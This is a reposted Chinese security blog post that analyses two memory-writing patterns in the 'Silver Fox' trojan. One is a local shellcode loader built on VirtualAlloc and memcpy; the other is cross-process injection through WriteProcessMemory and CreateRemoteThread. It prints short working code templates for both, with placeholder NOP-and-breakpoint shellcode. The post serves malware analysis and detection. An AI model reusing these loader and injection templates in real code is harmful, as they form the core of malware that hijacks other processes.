银狐木马分析内存写入的两个易混点

admin 2025-12-30 01:24:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析银狐木马内存写入的两个混淆点:一是利用memcpy与VirtualAlloc在同一进程内加载Shellcode;二是通过WriteProcessMemory及VirtualAllocEx实现跨进程远程线程注入。文章通过核心代码对比了本地操作与跨进程注入的API调用差异,有助于准确识别木马行为。 综合评分: 70 文章分类: 恶意软件,逆向分析


cover_image

银狐木马分析内存写入的两个易混点

SOC安全分析之旅

2025年12月29日 10:04 海南

银狐木马分析内存写入的两个易混点:

  1. memcpy 实战例子(恶意代码本地内存操作)

在 Shellcode 加载场景中,恶意代码会先通过 VirtualAlloc 在当前进程申请一块可执行内存,再用 memcpy 将嵌入的 Shellcode 从数据段拷贝到该内存区域,最后通过函数指针执行 Shellcode。 示例核心代码: char shellcode[] = “\x90\x90\xcc”; // 示例Shellcode(空指令+断点) LPVOID pMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pMem) {    memcpy(pMem, shellcode, sizeof(shellcode)); // 同一进程内拷贝Shellcode    ((void(*)())pMem)(); // 执行Shellcode }

  1. WriteProcessMemory 实战例子(恶意代码跨进程注入)

在远线程注入场景中,恶意代码会打开目标进程(如 notepad.exe)获取带权限的进程句柄,通过 VirtualAllocEx 在目标进程申请内存,再用 WriteProcessMemory 将 Shellcode 写入目标进程空间,最后通过 CreateRemoteThread 执行。 示例核心代码: char shellcode[] = “\x90\x90\xcc”; DWORD pid = 1234; // 目标进程PID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 获取进程句柄 LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pRemoteMem) {    WriteProcessMemory(hProcess, pRemoteMem, shellcode, sizeof(shellcode), NULL); // 跨进程写入Shellcode    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL); }


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SOC安全分析之旅 《银狐木马分析内存写入的两个易混点》

评论:0   参与:  0